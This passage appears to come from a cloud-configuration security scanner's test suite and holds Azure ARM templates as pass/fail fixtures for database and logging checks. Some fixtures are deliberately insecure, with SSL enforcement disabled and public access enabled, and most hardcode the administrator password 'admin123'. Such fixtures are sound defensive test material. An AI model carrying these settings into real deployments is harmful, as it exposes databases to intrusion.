\"[parameters('firewallRulesAPIVersion')]\",\n                            \"properties\": {\n                                \"StartIpAddress\": \"[variables('firewallRules')[copyIndex()].startIPAddress]\",\n                                \"EndIpAddress\": \"[variables('firewallRules')[copyIndex()].endIPAddress]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('aadEnabled')]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('addAdmins-', parameters('guid'))]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/administrators\",\n                            \"name\": \"[concat(parameters('serverName'),'/ActiveDirectory')]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"administratorType\": \"[parameters('aadData').administratorType]\",\n                                \"identityResourceId\": \"[parameters('aadData').identityResourceId]\",\n                                \"login\": \"[parameters('aadData').login]\",\n                                \"sid\": \"[parameters('aadData').sid]\",\n                                \"tenantId\": \"[parameters('aadData').tenantId]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]\",\n                \"mode\": \"serial\",\n                \"name\": \"serverParametersIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"name\": \"[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]\",\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/configurations\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"value\": \"[variables('serverParameters')[copyIndex()].value]\",\n                                \"source\": \"[variables('serverParameters')[copyIndex()].source]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MSSQLServerMinTLSVersion/pass2.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apiVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2021-05-01\"\n        },\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"serverEdition\": {\n            \"type\": \"string\"\n        },\n        \"vCores\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4\n        },\n        \"storageSizeGB\": {\n            \"type\": \"int\"\n        },\n        \"haEnabled\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"availabilityZone\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"standbyAvailabilityZone\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRules\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\"\n        },\n        \"vmName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard_B1ms\"\n        },\n        \"storageIops\": {\n            \"type\": \"int\"\n        },\n        \"storageAutogrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Enabled\"\n        },\n        \"autoIoScaling\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"identityData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"dataEncryptionData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"serverParameters\": {\n            \"type\": \"array\",\n            \"defaultValue\": []\n        },\n        \"aadEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"aadData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"guid\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[newGuid()]\"\n        },\n        \"network\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRulesAPIVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2022-01-01\"\n        }\n    },\n    \"variables\": {\n        \"api\": \"[parameters('apiVersion')]\",\n        \"firewallRules\": \"[parameters('firewallRules').rules]\",\n        \"serverParameters\": \"[parameters('serverParameters')]\"\n    },\n    \"resources\": [\n        {\n              \"type\": \"Microsoft.Sql/servers\",\n              \"apiVersion\": \"2023-05-01-preview\",\n              \"name\": \"pass2\",\n              \"location\": \"string\",\n              \"tags\": {\n                \"tagName1\": \"tagValue1\",\n                \"tagName2\": \"tagValue2\"\n              },\n              \"identity\": {\n                \"type\": \"string\",\n                \"userAssignedIdentities\": {\n                  \"{customized property}\": {}\n                }\n              },\n              \"properties\": {\n                \"administratorLogin\": \"string\",\n                \"administratorLoginPassword\": \"string\",\n                \"administrators\": {\n                  \"administratorType\": \"ActiveDirectory\",\n                  \"azureADOnlyAuthentication\": \"bool\",\n                  \"login\": \"string\",\n                  \"principalType\": \"string\",\n                  \"sid\": \"string\",\n                  \"tenantId\": \"string\"\n                },\n                \"federatedClientId\": \"string\",\n                \"isIPv6Enabled\": \"string\",\n                \"keyId\": \"string\",\n                \"minimalTlsVersion\": \"1.3\",\n                \"primaryUserAssignedIdentityId\": \"string\",\n                \"publicNetworkAccess\": \"string\",\n                \"restrictOutboundNetworkAccess\": \"string\",\n                \"version\": \"string\"\n              }\n            },\n        {\n            \"condition\": \"[greater(length(variables('firewallRules')), 0)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('firewallRules-', parameters('guid'), '-', copyIndex())]\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]\",\n                \"mode\": \"Serial\",\n                \"name\": \"firewallRulesIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/firewallRules\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[parameters('firewallRulesAPIVersion')]\",\n                            \"properties\": {\n                                \"StartIpAddress\": \"[variables('firewallRules')[copyIndex()].startIPAddress]\",\n                                \"EndIpAddress\": \"[variables('firewallRules')[copyIndex()].endIPAddress]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('aadEnabled')]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('addAdmins-', parameters('guid'))]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/administrators\",\n                            \"name\": \"[concat(parameters('serverName'),'/ActiveDirectory')]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"administratorType\": \"[parameters('aadData').administratorType]\",\n                                \"identityResourceId\": \"[parameters('aadData').identityResourceId]\",\n                                \"login\": \"[parameters('aadData').login]\",\n                                \"sid\": \"[parameters('aadData').sid]\",\n                                \"tenantId\": \"[parameters('aadData').tenantId]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]\",\n                \"mode\": \"serial\",\n                \"name\": \"serverParametersIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"name\": \"[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]\",\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/configurations\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"value\": \"[variables('serverParameters')[copyIndex()].value]\",\n                                \"source\": \"[variables('serverParameters')[copyIndex()].source]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MariaDBGeoBackupEnabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.DBforMariaDB/servers\",\n      \"location\": \"West Europe\",\n      \"name\": \"fail\",\n      \"sku\": {\n        \"name\": \"B_Gen5_2\",\n        \"size\": \"5120\"\n      },\n      \"properties\": {\n        \"version\": \"10.3\",\n        \"administratorLogin\": \"admin\",\n        \"administratorLoginPassword\": \"admin123\",\n        \"publicNetworkAccess\": \"Enabled\",\n        \"storageProfile\": {\n          \"geoRedundantBackup\":  \"Disabled\",\n          \"storageMB\": \"5120\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MariaDBGeoBackupEnabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.DBforMariaDB/servers\",\n      \"location\": \"West Europe\",\n      \"name\": \"pass\",\n      \"sku\": {\n        \"name\": \"B_Gen5_2\",\n        \"size\": \"5120\"\n      },\n      \"properties\": {\n        \"version\": \"10.3\",\n        \"administratorLogin\": \"admin\",\n        \"administratorLoginPassword\": \"admin123\",\n        \"publicNetworkAccess\": \"Enabled\",\n        \"storageProfile\": {\n          \"geoRedundantBackup\":  \"Enabled\",\n          \"storageMB\": \"5120\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MariaDBPublicAccessDisabled/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.DBforMariaDB/servers\",\n      \"location\": \"West Europe\",\n      \"name\": \"fail\",\n      \"sku\": {\n        \"name\": \"B_Gen5_2\",\n        \"size\": \"5120\"\n      },\n      \"properties\": {\n        \"version\": \"10.3\",\n        \"administratorLogin\": \"admin\",\n        \"administratorLoginPassword\": \"admin123\",\n        \"publicNetworkAccess\": \"Enabled\",\n        \"storageProfile\": {\n          \"storageMB\": \"5120\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MariaDBPublicAccessDisabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.DBforMariaDB/servers\",\n      \"location\": \"West Europe\",\n      \"name\": \"pass\",\n      \"sku\": {\n        \"name\": \"B_Gen5_2\",\n        \"size\": \"5120\"\n      },\n      \"properties\": {\n        \"version\": \"10.3\",\n        \"administratorLogin\": \"admin\",\n        \"administratorLoginPassword\": \"admin123\",\n        \"publicNetworkAccess\" :  \"Disabled\",\n        \"storageProfile\": {\n          \"storageMB\": \"5120\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MariaDBSSLEnforcementEnabled/FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.DBforMariaDB/servers\",\n      \"location\": \"West Europe\",\n      \"name\": \"default\",\n      \"sku\": {\n        \"name\": \"B_Gen5_2\",\n        \"size\": \"5120\"\n      },\n      \"properties\": {\n        \"version\": \"10.3\",\n        \"administratorLogin\": \"admin\",\n        \"administratorLoginPassword\": \"admin123\",\n        \"storageProfile\": {\n          \"storageMB\": \"5120\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MariaDBSSLEnforcementEnabled/FAILED_2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.DBforMariaDB/servers\",\n      \"location\": \"West Europe\",\n      \"name\": \"disabled\",\n      \"sku\": {\n        \"name\": \"B_Gen5_2\",\n        \"size\": \"5120\"\n      },\n      \"properties\": {\n        \"version\": \"10.3\",\n        \"administratorLogin\": \"admin\",\n        \"administratorLoginPassword\": \"admin123\",\n        \"storageProfile\": {\n          \"storageMB\": \"5120\"\n        },\n        \"sslEnforcement\": \"Disabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MariaDBSSLEnforcementEnabled/PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.DBforMariaDB/servers\",\n      \"location\": \"West Europe\",\n      \"name\": \"enabled\",\n      \"sku\": {\n        \"name\": \"B_Gen5_2\",\n        \"size\": \"5120\"\n      },\n      \"properties\": {\n        \"version\": \"10.3\",\n        \"administratorLogin\": \"admin\",\n        \"administratorLoginPassword\": \"admin123\",\n        \"storageProfile\": {\n          \"storageMB\": \"5120\"\n        },\n        \"sslEnforcement\": \"Enabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_MonitorLogProfileCategories/monitorLogProfileCategories-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {},\n  \"variables\": {},\n  \"resources\": [\n    {\n      \"name\": \"fail\",\n      \"type\": \"Microsoft.Insights/logprofiles\",\n      \"apiVersion\": \"2016-03-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"tags\": {},\n      \"properties\": {\n        \"locations\": [\n          \"westus\",\n          \"global\"\n        ],\n        \"categories\": [\n          \"Action\"\n        ],\n        \"retentionPolicy\": {\n          \"enabled\": \"true\",\n          \"days\": \"7\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {}\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MonitorLogProfileCategories/monitorLogProfileCategories-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {},\n  \"variables\": {},\n  \"resources\": [\n    {\n      \"name\": \"pass\",\n      \"type\": \"Microsoft.Insights/logprofiles\",\n      \"apiVersion\": \"2016-03-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"tags\": {},\n      \"properties\": {\n        \"locations\": [\n          \"westus\",\n          \"global\"\n        ],\n        \"categories\": [\n          \"Write\",\n          \"Delete\",\n          \"Action\"\n        ],\n        \"retentionPolicy\": {\n          \"enabled\": \"true\",\n          \"days\": \"7\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {}\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MonitorLogProfileRetentionDays/monitorLogProfileRetentionDays-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {},\n  \"variables\": {},\n  \"resources\": [\n    {\n      \"name\": \"low\",\n      \"type\": \"Microsoft.Insights/logprofiles\",\n      \"apiVersion\": \"2016-03-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"tags\": {},\n      \"properties\": {\n        \"locations\": [\n          \"westus\",\n          \"global\"\n        ],\n        \"categories\": [\n          \"Action\"\n        ],\n        \"retentionPolicy\": {\n          \"enabled\": \"true\",\n          \"days\": \"7\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {}\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MonitorLogProfileRetentionDays/monitorLogProfileRetentionDays-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {},\n  \"variables\": {},\n  \"resources\": [\n    {\n      \"name\": \"disabled\",\n      \"type\": \"Microsoft.Insights/logprofiles\",\n      \"apiVersion\": \"2016-03-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"tags\": {},\n      \"properties\": {\n        \"locations\": [\n          \"westus\",\n          \"global\"\n        ],\n        \"categories\": [\n          \"Write\",\n          \"Delete\",\n          \"Action\"\n        ],\n        \"retentionPolicy\": {\n          \"enabled\": \"False\",\n          \"days\": \"0\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {}\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MonitorLogProfileRetentionDays/monitorLogProfileRetentionDays-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {},\n  \"variables\": {},\n  \"resources\": [\n    {\n      \"name\": \"enabled\",\n      \"type\": \"Microsoft.Insights/logprofiles\",\n      \"apiVersion\": \"2016-03-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"tags\": {},\n      \"properties\": {\n        \"locations\": [\n          \"westus\",\n          \"global\"\n        ],\n        \"categories\": [\n          \"Write\",\n          \"Delete\",\n          \"Action\"\n        ],\n        \"retentionPolicy\": {\n          \"enabled\": \"true\",\n          \"days\": \"0\"\n        }\n      }\n    }\n  ],\n  \"outputs\": {}\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MySQLEncryptionEnabled/fail.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"apiVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2021-05-01\"\n        },\n        \"administratorLogin\": {\n            \"type\": \"string\"\n        },\n        \"administratorLoginPassword\": {\n            \"type\": \"securestring\"\n        },\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"serverName\": {\n            \"type\": \"string\"\n        },\n        \"serverEdition\": {\n            \"type\": \"string\"\n        },\n        \"vCores\": {\n            \"type\": \"int\",\n            \"defaultValue\": 4\n        },\n        \"storageSizeGB\": {\n            \"type\": \"int\"\n        },\n        \"haEnabled\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"availabilityZone\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"\"\n        },\n        \"standbyAvailabilityZone\": {\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"type\": \"string\"\n        },\n        \"tags\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRules\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"backupRetentionDays\": {\n            \"type\": \"int\"\n        },\n        \"geoRedundantBackup\": {\n            \"type\": \"string\"\n        },\n        \"vmName\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Standard_B1ms\"\n        },\n        \"storageIops\": {\n            \"type\": \"int\"\n        },\n        \"storageAutogrow\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Enabled\"\n        },\n        \"autoIoScaling\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"Disabled\"\n        },\n        \"identityData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"dataEncryptionData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"serverParameters\": {\n            \"type\": \"array\",\n            \"defaultValue\": []\n        },\n        \"aadEnabled\": {\n            \"type\": \"bool\",\n            \"defaultValue\": false\n        },\n        \"aadData\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"guid\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"[newGuid()]\"\n        },\n        \"network\": {\n            \"type\": \"object\",\n            \"defaultValue\": {}\n        },\n        \"firewallRulesAPIVersion\": {\n            \"type\": \"string\",\n            \"defaultValue\": \"2022-01-01\"\n        }\n    },\n    \"variables\": {\n        \"api\": \"[parameters('apiVersion')]\",\n        \"firewallRules\": \"[parameters('firewallRules').rules]\",\n        \"serverParameters\": \"[parameters('serverParameters')]\"\n    },\n    \"resources\": [\n        {\n            \"apiVersion\": \"[variables('api')]\",\n            \"location\": \"[parameters('location')]\",\n            \"name\": \"fail\",\n            \"identity\": \"[if(empty(parameters('identityData')), json('null'), parameters('identityData'))]\",\n            \"properties\": {\n                \"createMode\": \"Default\",\n                \"version\": \"[parameters('version')]\",\n                \"administratorLogin\": \"[parameters('administratorLogin')]\",\n                \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n                \"Network\": \"[if(empty(parameters('network')), json('null'), parameters('network'))]\",\n                \"Storage\": {\n                    \"StorageSizeGB\": \"[parameters('storageSizeGB')]\",\n                    \"Iops\": \"[parameters('storageIops')]\",\n                    \"Autogrow\": \"[parameters('storageAutogrow')]\",\n                    \"AutoIoScaling\": \"[parameters('autoIoScaling')]\"\n                },\n                \"Backup\": {\n                    \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n                    \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n                },\n                \"availabilityZone\": \"[parameters('availabilityZone')]\",\n                \"highAvailability\": {\n                    \"mode\": \"[parameters('haEnabled')]\",\n                    \"standbyAvailabilityZone\": \"[parameters('standbyAvailabilityZone')]\"\n                }\n            },\n            \"sku\": {\n                \"name\": \"[parameters('vmName')]\",\n                \"tier\": \"[parameters('serverEdition')]\",\n                \"capacity\": \"[parameters('vCores')]\"\n            },\n            \"tags\": \"[parameters('tags')]\",\n            \"type\": \"Microsoft.DBforMySQL/flexibleServers\"\n        },\n        {\n            \"condition\": \"[greater(length(variables('firewallRules')), 0)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('firewallRules-', parameters('guid'), '-', copyIndex())]\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('firewallRules')), 0), length(variables('firewallRules')), 1)]\",\n                \"mode\": \"Serial\",\n                \"name\": \"firewallRulesIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/firewallRules\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('firewallRules')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[parameters('firewallRulesAPIVersion')]\",\n                            \"properties\": {\n                                \"StartIpAddress\": \"[variables('firewallRules')[copyIndex()].startIPAddress]\",\n                                \"EndIpAddress\": \"[variables('firewallRules')[copyIndex()].endIPAddress]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[parameters('aadEnabled')]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"name\": \"[concat('addAdmins-', parameters('guid'))]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\"\n            ],\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/administrators\",\n                            \"name\": \"[concat(parameters('serverName'),'/ActiveDirectory')]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"administratorType\": \"[parameters('aadData').administratorType]\",\n                                \"identityResourceId\": \"[parameters('aadData').identityResourceId]\",\n                                \"login\": \"[parameters('aadData').login]\",\n                                \"sid\": \"[parameters('aadData').sid]\",\n                                \"tenantId\": \"[parameters('aadData').tenantId]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[and(greater(length(variables('serverParameters')), 0), parameters('aadEnabled'))]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"apiVersion\": \"2019-08-01\",\n            \"copy\": {\n                \"count\": \"[if(greater(length(variables('serverParameters')), 0), length(variables('serverParameters')), 1)]\",\n                \"mode\": \"serial\",\n                \"name\": \"serverParametersIterator\"\n            },\n            \"dependsOn\": [\n                \"[concat('Microsoft.DBforMySQL/flexibleServers/', parameters('serverName'))]\",\n                \"[concat('Microsoft.Resources/deployments/addAdmins-', parameters('guid'))]\"\n            ],\n            \"name\": \"[concat('serverParameters-', copyIndex(), '-', parameters('guid'))]\",\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.DBforMySQL/flexibleServers/configurations\",\n                            \"name\": \"[concat(parameters('serverName'),'/',variables('serverParameters')[copyIndex()].name)]\",\n                            \"apiVersion\": \"[variables('api')]\",\n                            \"properties\": {\n                                \"value\": \"[variables('serverParameters')[copyIndex()].value]\",\n                                \"source\": \"[variables('serverParameters')[copyIndex()].source]\"\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_MySQLEncryptionEnabled/pass.json",
